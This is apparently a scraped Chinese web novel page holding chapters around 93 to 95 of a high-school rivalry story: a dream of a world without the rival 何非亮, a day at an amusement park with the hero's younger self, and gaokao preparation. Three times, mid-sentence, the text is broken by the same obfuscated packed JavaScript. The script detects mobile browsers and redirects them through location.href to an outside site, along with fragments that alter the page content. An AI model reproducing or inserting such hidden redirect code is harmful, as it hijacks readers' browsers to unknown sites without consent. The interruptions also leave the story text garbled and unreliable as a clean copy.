不幸的是,邪恶巫师在这首study music里加入了“昏昏倒地”的魔咒。本来还是精神焕发的纪小鱼,听了不到三分钟,就被一阵浓郁的困意拉扯,一头栽进了梦乡。 “别睡了!电影要开场了!”昏暗的光线里,有人递过来了一桶油黄的爆米花,“喏,要不要来点?” “要!”纪小鱼眼睛一亮,立马就不困了。 哎呀呀,试问谁能拒绝爆米花的诱惑呢?那丝丝缕缕的甜香、饱满轻盈的质地、蓬松酥脆的口感,再辅以糖浆和奶油浑然天成的交融与碰撞…… 爱与美食难以辜负。纪小鱼咽了口唾沫,不客气地抓起一把爆米花往嘴里塞。 半秒以后,他想把自己的舌头送人,“呕~不是吧,这个爆米花怎么是苦的呀!?” “太焦了,就会苦。”递给他爆米花的人一副理所当然的口吻。 “啊?炒焦了吗?”纪小鱼惋惜地叹道,“唉,看着好好的呀,怎么会这么焦……” 那人自顾自地抓了一把爆米花,面无表情地嚼了起来,“焦,是因为太过焦虑。” 纪小鱼:“???” 什么?太过焦虑?谁太过焦虑了?玉米吗? 呃……这是什么冷笑话吗? 纪小鱼有点摸不着头脑,还好他的座位上刚好放着一瓶冰可乐,他连忙像抓住了救命稻草一般,猛灌了一口,想借此冲刷掉自己嘴里挥之不去的、令人忧愁的苦味—— 我#@*%! 酸! 好酸! 直冲天灵盖的酸味让纪小鱼直接为自己带上了痛苦面具。 这次不止是舌头,连牙齿都想要送人了! “天呐,这是拿整颗柠檬去榨汁了吗?”纪小鱼拧着舌头,泫然欲泣,“噫,好歹毒、好残酷的配方啊!一点糖都不加的吗?” “残酷的不是配方,而是这个世界。” “哈?” “不信你看——” 正前方的高清巨幕蓦然亮起,播出的第一个画面赫然是自己放大的俊脸——不过很不幸,有点扁掉了,因为这张帅脸此时此刻正被踩在漆黑发亮的皮鞋鞋底。 镜头逐渐拉远,名贵皮鞋的主人赫然正是纪小鱼的人生宿敌何非亮。他的脖子上挂着锃亮发光的金牌,不笑的唇角抿着嚣张的弧度。他就这么大摇大摆地踩着纪小鱼走过了,而后,蜂拥而至的粉丝眼冒爱心地追了上去,可怜的纪小鱼又被这其中的好些个人顺带给踩了几脚。 “我去!”纪小鱼被开头的这一幕惊得瞠目结舌,差点一头从座位上栽下来,“这什么烂片哦!何非亮导演的吗?” 只见影片里被踩得鼻青脸肿的纪小鱼高高地举起了挂在脖子上的银牌,对着远去的众人呼喊,“诶!我也得奖了哦,快扶我起来!我离第一名只差一分而已诶!”然而,大家的注意力全都放在了何非亮的身上,根本没有人理会他。他只好自己一个人努力地爬起来,委屈巴巴地拍了拍身上的灰。 “看不下去了!”纪小鱼气呼呼地骂道,“差评,必须差评!” “虽然抽象了那么一点点,可这不也是基于现实吗?”旁边的人咧嘴一笑,“不过没关系,就快要结束了。” 纪小鱼这才终于借着从银幕散发出的光线看清,那个坐在旁边的人,竟然帅得和缩小版的自己如出一辙——不是别人,正是纪小小鱼! 啊咧!? 纪小鱼震惊地瞪大了双眼。 激昂澎湃的声音忽然顺着音响喇叭传出。“让我们以最热烈的掌声,欢迎本次大赛的总冠军——纪小鱼同学,上台领奖!” 与此同时,悬在头顶的聚光灯也配合着从天降下一条光辉的路,从纪小鱼的脚前一直闪耀地铺展到了最中心的领奖台上。 一片“哗啦啦”的掌声中,纪小鱼茫然四顾,这才发现,自己不知怎么已经不在电影院了,而是置身于一个恢弘的大礼堂里。纪小小鱼也不见了,坐在身边的人赫然变成了蒋小胖。 “小鱼,”蒋小胖撺掇道,“快去吧、快去吧!” “去、去干嘛? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16496588|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “去领奖呀,你可是冠军耶!太厉害了!”蒋小胖激动地抹了一把眼角,“不过这也是意料之中的事情,这么多年来,根本就没有人是你的对手。” “冠军?我?”纪小鱼觉得自己的后脑勺有点隐隐作痛。他愣愣地起身,踏着银白的光路,在众目睽睽之下,游魂一般地走上了领奖台。 台下,观众齐齐为他热烈欢呼鼓掌,场面蔚为壮观。 啊咧,我也有得冠军的一天!?真的假的,不会是什么恶作剧吧…… 纪小鱼迷茫地捧起沉甸甸的金色奖杯,目光下意识地在黑压压一片的观众间四处逡巡,想要捉住那个在脑海里逐渐模糊的影子,却终于一无所获。 “小胖,”安然无恙地抱着奖杯回到了座位上,纪小鱼有点高兴,又有点疑惑,“怎么?何非亮这次没来参加比赛吗?” “何非亮?”蒋小胖正一把一把地啃着袋装薯片,听见了这话,含糊不清地问道,“谁啊?” “哎呦,”纪小鱼笑了,“他不是你最最亲爱的学神哥(gě)哥(gé)嘛!怎么今天就翻脸不认人了?他干什么得罪你啦?” “什么呀?”蒋小胖嗤嗤地笑,“学神?嘻嘻,整个S中,除了我们小鱼哥,还有谁配得上这个称号哦?” “哇咔咔,小胖你今天怎么变得这么捧场啦!”纪小鱼一手抱着冠军奖杯,一手得意地摩挲着自己的下巴,和蒋小胖相视一笑,笑着笑着,嘴角的弧度终于硬生生地凝固住了,“呃,那个,小胖,你没在开玩笑吧?” “没呀,这有什么好开玩笑的……”蒋小胖吃薯片的手愣在了嘴边,“诶?小鱼,你怎么啦?你的脸色看上去有点不对劲哦。” “我没事,我能有什么事?可能、可能是灯光的缘故吧……”纪小鱼心不在焉地答道,目光被凭空出现在眼前的一行金色的小字吸引。 【系统:欢迎来到没有“何非亮”的世界!】 纪小鱼一眨眼,那行莫名其妙的字就又消失不见了。 哈?什么乱七八糟的?这、这怎么可能嘛! 我、我出现幻觉了? 感受到了一点眩晕的迹象,纪小鱼按捺住心头不断涌现的忐忑,深呼吸冷静了一下。他从裤兜里摸出手机,点开相册,一张一张照片地翻找过去,试图从中出挖掘出某个熟悉的面孔——可越看越觉得镇定难以为继,几乎要冷汗涔涔了。 相册里,竟然全是自己得第一名的照片! 拿着奖状的,戴着金牌的,捧着奖杯的……自信从容、意气风发,每一张都是他曾经梦寐以求的画面。 手机屏幕的亮光映照着纪小鱼震惊的瞳孔。 无数记忆的碎片刺入脑海——在这个世界里,自己如愿以偿地拿遍了第一,是家人的骄傲、同学的榜样、老师成天挂在嘴边夸奖的对象。他终于站在了他一直想要去到的山顶,前呼后拥、众星捧月。 可是…… 纪小鱼的手掌怅然若失地摁在了心脏的位置,那里空落落的,好像被偷走了一块。 94.第九十四章 不愧是我 听说“被找的东西”,状态介于“有”和“无”之间,因此找东西的时候,天然地会伴随着一种患得患失的焦虑感。更何况,如今找的是人呢? 世界忽然变得很大,大得不知道要去哪里。 一无所获过后,纪小鱼悒悒不乐地走在路上,一不小心,脚尖直愣愣地踢飞了一颗拦路的石子。 石子沿着诡谲的路线向前冲刺—— “哎呦!”张朝怒气冲冲地回过头来,瞪了纪小鱼一眼,“哈,原来是你?” “啊,张兄,对不起、对不起……”纪小鱼连忙道歉,“一石激起千层浪,一石击中您的臀。水容万物不生气,您也千万别在意。” “张兄?我可不敢当!你这人说话怎么阴阳怪气的!拿了第一了不起啊!”张朝捂着后腰,生气地走了,“你等着!” “嘻嘻嘻。”路边的长椅上,有人在窝在树荫底下偷笑。 纪小鱼转眼一看——嘿呦!总算是逮着了! “快点把何非亮变回来!”纪小鱼双手插着腰,居高临下地堵在了纪小小鱼的身前,“现在、立刻、马上!” “嘻嘻!”纪小小鱼正喜滋滋地怀抱着纪小鱼刚才随手搁在椅子上的冠军奖杯,满意地左看右看,还不忘曲起手指叩了叩,侧耳聆听奖杯敲击后发出的声响,一脸陶醉地感叹道,“啊,真好听呀!不愧是冠军才能拥有的奖杯!” “喂,你有没有听见我讲话!”纪小鱼不太高兴地说。 “嘿呀,”纪小小鱼爱不释手地摸着奖杯,“要是爸爸看见了,一定会表扬我吧?妈妈也不会不高兴了。” 纪小鱼的眼角微微柔软了下来,缓了缓,沉声道,“跟我走。” “去哪里?”纪小小鱼紧紧地抱着奖杯,戒备地举头看向长大以后的自己,“我不要!” “去OB乐园。” “哦,”纪小小鱼眨了眨眼睛,弱弱地说,“去。” 这就对了嘛!纪小鱼如释重负地吐出了一口气——是吧?姜还是老的辣!还是自己最了解自己。 …… 「水上过山车猝不及防地急转下降 没准备好的心跳也跟着失重紧张 来不及胡思乱想 又闯过一个风浪 惊涛拍岸 谁在尖叫谁的衣裳湿了」 太刺激啰! OB乐园,真不愧是世界上最好玩的地方! 过山车上,纪小鱼和纪小小鱼一起嗷嗷大叫,可脚刚沾到平地又开始互相嘲笑,谁都坚信刚才是对方嚎得更大声一点。 他们俩个一起嘲讽对方胆小,又一起狠下心来闯进了鬼屋。 呃……世界上有没有鬼不好说,但是鬼屋里肯定是有鬼的。一个青面獠牙的恶鬼把自己的头摘下来,非要送给纪小小鱼作为礼物。 纪小小鱼吓得四处乱窜,和同样被吓得慌不择路的纪小鱼撞在了一起。 “救命啊!”他们俩瑟瑟发抖地抱在了一起。 等重见天日以后,他们又互相指责,都声称刚才是对方挡住了自己勇往直前的道路。 “我才不怕呢!我刚才本来还打算反过来去吓一吓那个鬼的。” “亲~你骗鬼吧~你觉得我会信吗?” “哼!你还好意思说!你自己刚才慌成什么样子了你心里没数吗!嘿呀,”纪小小鱼难以置信地捧着自己的脸,“不会吧,这就是我长大以后的样子吗?噢!不但一点长进都没有,还退步了!” “胡说八道!我怎么没有长进了?我长高了呀!你看,你多矮,我多高!”纪小鱼得意地比划着。 “你和我比身高?真是太不要脸了!”纪小小鱼气得跳脚。 一路吵,一路又坐上了摩天轮。 总算是消停了些。 “我觉得摩天轮很慢,还有一点无聊,”纪小小鱼打了个呵欠,像椅子上有刺一样,一点也不肯安安分分地坐好,没过两秒就开始扭来扭去,“哎呀,被关在这样透明的笼子里,到底有什么好玩的呀?” “哈?不是你说要坐的吗?” “可是,你还记得吗,”纪小小鱼眨了眨明亮的眼睛,“爸爸说过,摩天轮是很浪漫的地方,长大了是要和喜欢的人一起坐的。” “……记得。” “那你有没有喜欢的人啊?” “……小屁孩别管那么多。” “能不能给我剧透一下嘛?” “呵、呵!\_(ツ)_/” 纪小小鱼双手合十,左摇右晃地祈求道,“拜托啦!” “人生是要去经历的,而不是只求一个答案,懂吗?” “切,”纪小小鱼一连碰了好几个钉子,气呼呼地把头撇向一边,“你就是小气!这有什么不可以说的嘛!我不过是想,要是能够提前知道,我就从见到那个人的第一面开始,就对他特别好特别好,一天也不浪费。” 纪小鱼哑然失笑。 “诶,对了,”纪小小鱼忽然惊觉地四处张望,“我的奖杯呢!?” “当然是拿去寄存啰。一直抱在手里还怎么好好玩?” “哦,这样啊。”纪小小鱼松了一口气,因焦急而崩着的小脸,一转眼又变回了喜笑颜开的模样,“哎呀,摩天轮是在游乐园里打太极的老爷爷吧,慢得都让人想睡觉了!下一个项目我可要玩点刺激的提提神,我们去玩疯狂星际船吧,怎么样?” “行啊。”纪小鱼耸了耸肩,“但你等会叫的时候小声一点,我怕我会聋。” “什么!?喂,明明是你喊得比较大声吧!!!” 摩天轮的车厢里顿时又闹腾了起来。 …… 就这么一直痛痛快快地玩到了太阳快要落山。 OB乐园的广播里放出快乐的歌谣—— “我喜欢你的眼睛鼻子还有小嘴巴 你笑起来的时候好像一朵花 听说每个小孩心里都有个童话 哎呀哎呀哎呀 慢些长大吧 ……” 纪小鱼给纪小小鱼买了一个冰淇淋,半蹲下身来,看着他吃得心满意足。 “诶,小孩,今天玩得开心吗?” “开心!”纪小小鱼露出了天真烂漫的笑容。 “噫,都吃到鼻子上去了!”纪小鱼无奈地从口袋里拿出纸巾,帮着给擦了擦,一边又说道,“你看,这个世界上,除了拿第一名,其实还有很多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16503729|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 值得高兴的事情。” “可是,”纪小小鱼固执又神气地扬起头,“得第一名才是最值得高兴的事情!” “嘿嘿,那我考考你哦,第二值得高兴的事情是什么?” “啊?”纪小小鱼被问愣了。 “第三值得高兴的事情呢?” “呃……”纪小小鱼支支吾吾。 “哈哈,答不出来了吧?嘿呀,其实吧,高兴就是高兴,哪有什么最值得,最不值得的?”纪小鱼揪了揪纪小小鱼软乎乎的脸颊,笑道,“你记好了啊,志气归志气,高兴归高兴!比赛又不是每一天都有,但是呢,每一天都值得高兴——是这个道理吧?” “好像、可能、也许……”纪小小鱼左啃右啃着不断融化的冰淇淋,忙得不亦乐乎,也不知道听进去了没有。 纪小鱼也不多说了,安静地看着那个缩小版的自己龇牙咧嘴地啃完了冰淇淋最后的蛋筒,终于还是叹了口气,认命地再次掏出纸巾,“唉,怎么又吃到脸上去了?这要是一不小心被人给拍到了,可不就成黑历史了吗?” “什么是黑历史?”纪小小鱼不解地问。 “大概就是指不堪回首的过去吧。” “哦。那如果,如果我没有考第一名,会是……你的黑历史吗?”纪小小鱼抬起眼,说不清是扭捏还是紧张地偷偷观察着纪小鱼的神情。 “当然……不会啦!”纪小鱼揉了揉纪小小鱼毛茸茸的脑袋,朝他笑了笑,“想什么呢?为你感到骄傲还来不及呢。没拿到第一名又怎么样?我们认输过了吗?——没有!一蹶不振了吗?——没有!因此就放弃全力以赴了吗?——没有!那么请问——这不是勇敢是什么!” “诶!?”纪小小鱼的眼睛一闪一闪的,在夕阳的辉映里,显得光彩灵动。 “啧,虽然脾气死倔死倔的,但还是不得不承认……”纪小鱼扶着纪小小鱼的两边肩膀,目光围绕着他上下打量,欣赏地点了点头,“嗯,真是从小帅到大啊!左看右看,都只能说一句——不愧是我!” “嘿嘿!”纪小小鱼不好意思地搔了搔略微发烫的脸颊。 “喂,小屁孩,给你个机会,把信任押注在哥的身上,”纪小鱼狂拽酷炫地扬了扬下巴,“回到那个有‘何非亮’的世界去。他是‘何非亮’又怎么样?哥照样把他打爆给你看!” “哦耶!”纪小小鱼露出了真心的笑容。 …… “哦呵呵呵呵!”纪小鱼的嘴角不住上扬。 何非亮奇怪地揣摩着他,“第一次见到,有人是笑醒的。” “诶,何非亮,”淡金的光线透过窗子,温热地落进了纪小鱼迷迷糊糊半睁开的眼中,“你回来了?” “什么回来了,我不是一直坐在这里吗?倒是你——难得啊,睡了一整节课了。” “哈?”纪小鱼闻言震惊地抬头看了看教室正上方悬挂着的时钟,“哎呀,糟了!都这个点了啊!” “嗯?” “这一届高一的小同学饭量惊人,我们这些老前辈去晚了就没吃的了!走了走了,去食堂抢饭去了!” 雨也不知道是什么时候停的。出了教室门,和煦的春风扑面而来,天宽地阔。 95.第九十五章 疑难杂症 二模考完,高三正式进入到了最后冲刺阶段。 冲啊!!! 此时不冲何时冲!距离高考只剩下最后不到一个半月的时间了,再不冲就没有机会了! 这几天,纪小鱼周身的血液仿佛被微波炉高温加热过了一样,整个人呈现出了一副精神抖擞、活力四射的热血状态——刷起题来,比往日还要更加的干劲十足。 虽然他的二模排名最终还是只拿到了第二,总分离着何非亮还是不多不少地差了那么两分,但这丝毫没有影响到他昂然的斗志。 纪小鱼手提超大容量墨水笔,在摞起的书堆里冲杀闯荡。与题山题海激情鏖战的同时,不忘在心中默念—— 不靠奇迹靠努力,要给自己争口气! 每一天都有意义,不到最后不放弃! 只要多刷一套题,就能更接近无敌! 何非亮他算个屁,不打败他不姓纪! …… 这天下午,本该是奋斗不息的放学时间,吕天明却搬过椅子,坐到纪小鱼身边抱怨了起来,“诶,好兄弟,你有没有觉得,这日子已经过得越来越像是没有新意的流水账了?天呐,我好像已经分不清楚昨天和今天的区别了!” “还是有区别的,吕兄。昨天下雨了,今天没下。”纪小鱼一边这么一本正经地说着,一边从课桌的抽屉里搜出了两页薄薄的纸张,“啊,你是想要生活中有更多的新意对不对?我这里有一套隔壁市刚出炉的二模真题,第二、第三道大题出得尤其创新,你要不要拿去看看?” “不用了,谢谢。”吕天明捂着脸,懊丧的声音从指缝间透出,“唉,实不相瞒,我已病入膏肓——连着整整三天,我都已经看不进去任何的文字、写不出任何的一道题了。” “啊?”这个症状听起来着实棘手,纪小鱼惊愕道,“竟已到了如此严重的地步?” “唉,是啊!煎熬啊,真是太煎熬了!”吕天明一边说着,一边又沉沉地叹了口气,“每天每夜,我唯一的盼头就是——能不能明天就高考,早点考完算了!” “吕兄……”纪小鱼同情地看着吕天明,却有点无能为力。 于是他摇晃着笔杆,戳了戳何非亮的胳膊,“诶,你瞧瞧,这你能治吗?” “试试吧。” 何非亮耸了耸肩,从草稿本上齐整地撕下了一页纸,画符写咒般笔走龙蛇了一通以后,交到了吕天明的手上,“放心,知道你看不进字,已经画给你了。去做你看到以后,脑海中浮现出的第一件事情吧。” “这是……”吕天明愣愣地看着草稿纸上的内容,好半晌,终于像下定了某种决心般,深呼吸了一口气,颔首道,“好,那我去了。” 说完,他便不再犹豫,转身径直走出了教室大门。 “诶?”刚才那一晃眼的工夫,纪小鱼只大概瞧见了草稿纸上有几道鬼画符般的墨迹,本想等吕天明看完以后自己再要过来多看两眼,没想到老吕他看完以后就这么走了。 好奇像猫爪子一样,在纪小鱼的心里挠啊挠。他只好找何非亮问道,“喂,你那上面画了个什么符啊?我还没来得及看清楚呢。你再画一遍一模一样的给我!” 何非亮微微一笑,“不急,先看看效果。” 神奇的是,一个半小时以后,吕天明竟然真的高高兴兴地回到了教室里。 “太有用了!”吕天明脸上的阴云一扫而空,取而代之的是开心的笑容,“我看完以后,莫名其妙地就想到了要去找陈典切磋切磋篮球。嘿,真的去了以后——哎呀,虽然说打输了,但我觉得今天总算是过得有点不一样了。好久都没有这么放松过了。” “吕兄,快把何非亮给你的纸借我看看!”纪小鱼迫不及待地说。 “好嘞!” 草稿纸展开,原来上面竟是这样的一幅画—— 「 (T ^ T) + ? = *\(ˊvˋ*)/* 」 纪小鱼看乐了,“……哈?就这???” 何非亮点点头,一副理所当然的样子,“嗯,就这。” “哈、哈哈,你直接叫他去做会让自己开心的事情不就得了!”纪小鱼朝何非亮颇为不屑地翻了个白眼,“为什么非要故弄玄虚地画出一幅画来?多此一举,浪费纸张!” “呵,”何非亮慢条斯理地开口道,“人脑是世界上最神奇的容器,因为它盛装着思想。可人脑也是世界上最糊涂的装置,因为思想自它而来,它却常常连自己在想什么都不太清楚。” 纪小鱼:“???” “简单来说,人真正想做的事情都藏在直觉里,而非理性中。我不过是帮助他绕过语言文字的掣肘,去不假思索地捕捉内心深处的那一份答案罢了。”何非亮淡然道。 没想到,又过了几天,纪小鱼竟然自己也察觉到自己身上有点不对劲了。 “诶?奇怪了,”纪小鱼眉头一皱,“我这浑身怎么好像长刺了一样,一整天都坐立难安!” “小鱼,你太紧绷了。”何非亮不紧不慢地提议道,“不如练练字吧,先把心静下来。” “不!”纪小鱼断然拒绝,“我的字很好看了,不需要再练了!” “那——要不然……” 话音未落,纪小鱼又龇牙咧嘴地捂着脸颊叫囔了起来,“哎呦,我这牙怎么也有点酸,想咬东西,想吃卷子。” “???”何非亮侧过脸,撩起眼皮,上上下下仔仔细细地打量了纪小鱼一番,好半晌,才若有所思道,“嗯……你最近是不是几乎一整天都待在教室里?” “嗯,是啊,”纪小鱼点了点头,反问道,“不然呢?还能去哪?去打野吗?诶,我告诉你,你之前开给吕天明的‘药方’对我来说没用——我总不可能真的把卷子给吃了吧?” “当然没用,你和他又不是同样的问题。”何非亮淡定地说。 “那我是什么问题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16509319|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?哦,对了,我还想把桌子给拆了,把椅子给掀了,在黑板上乱涂乱画,再把垃圾桶给踢翻……” “呵,越来越吻合了。”何非亮的脸上逐渐浮现出了胸有成竹的笑容,“我表弟家的小狗就是这样,不出去溜溜就会在家发狂。” 纪小鱼狠狠地沉默了一会,继而露出了獠牙,“……喂,信不信我咬你\(`皿`)/ ” “咬我没用,得出去跑两圈。”何非亮笑笑地在纪小鱼的肩膀上轻轻拍了拍,“快去吧,乖。” “哼!你休想把我支开,然后自己一个人在教室里偷卷!”纪小鱼双手叉腰,强硬地要求道,“要去一起去!!(┛`д'')┛” …… 日子就这么一天一天地过去,或压抑、或平淡、或躁动、或乏味、或紧张、或期待,只是无论如何,都一去不回头。 转眼间,连易如反掌、完全是用来给人增添信心的三模考试也结束了。 去食堂吃饭的路上,雨点落在伞檐,像收音机信号不佳时密密麻麻的白噪。 纪小鱼觉得这声音还挺疗愈的。听着听着,就连又得了“第二名”的懊恼,似乎也随着雨滴落下,尘归尘土归土。 距离高考越近,学校的伙食就越好。蒋小胖同学曾经写信给张校长,提出了“吃好喝好才能考得更好”这一真诚建议,张校长大概是听进去了。 饱餐一顿以后,纪小鱼心满意足地踏出食堂大门。一抬头,发现雨不知道什么时候已经停了。 晴空一片,天蓝得像是从来没有过阴云,只是地上多了许多被打落的花瓣,一朵一朵的,闪动着粒粒晶莹的水光。 “来时漫天雨,去时满地花。”走在身边的何非亮忽然这样说,也不知道是在感慨,还是在卖弄他的才华。 纪小鱼连忙不甘示弱地接上了一句,“花落春还在,莫畏风雨来!” “咦?小鱼,”何非亮微微惊奇,“这你都能扬起来?最近议论文训练得不错呀。” “嘿呀,我也觉得我现在强得可怕!”纪小鱼掰着手指,郑重其事地细数了起来,“而且是语、数、英、物、化、生,无一短板的那种可怕!” 最终,纪小鱼神采飞扬地作出了嚣张的结论,“啧,很明显,我已经是一个超强的六边形战士了!接下来,就将是你被我全方位多角度彻底碾压的时刻了!啊哈哈哈哈!” “哇,好厉害哦。”何非亮假模假样地奉承道,虚伪的声音听起来不像是在夸赞,更像是某种挖苦。 “怎么样,你怕不怕?”纪小鱼对何非亮话语里的讽刺意味显得置若罔闻。他得意地挑起了眉梢,用一种诱哄的腔调继续说道,“是不是此时此刻,已经察觉到了一丝紧张、一丝焦虑、和一丝不安?是不是已经打算事不宜迟,现在马上就要去排练《征服》这首歌曲?” 何非亮弯了弯眼睛,笑道,“小鱼,你最近熬夜了吗,怎么还没睡醒?” 纪小鱼气得差点滑倒。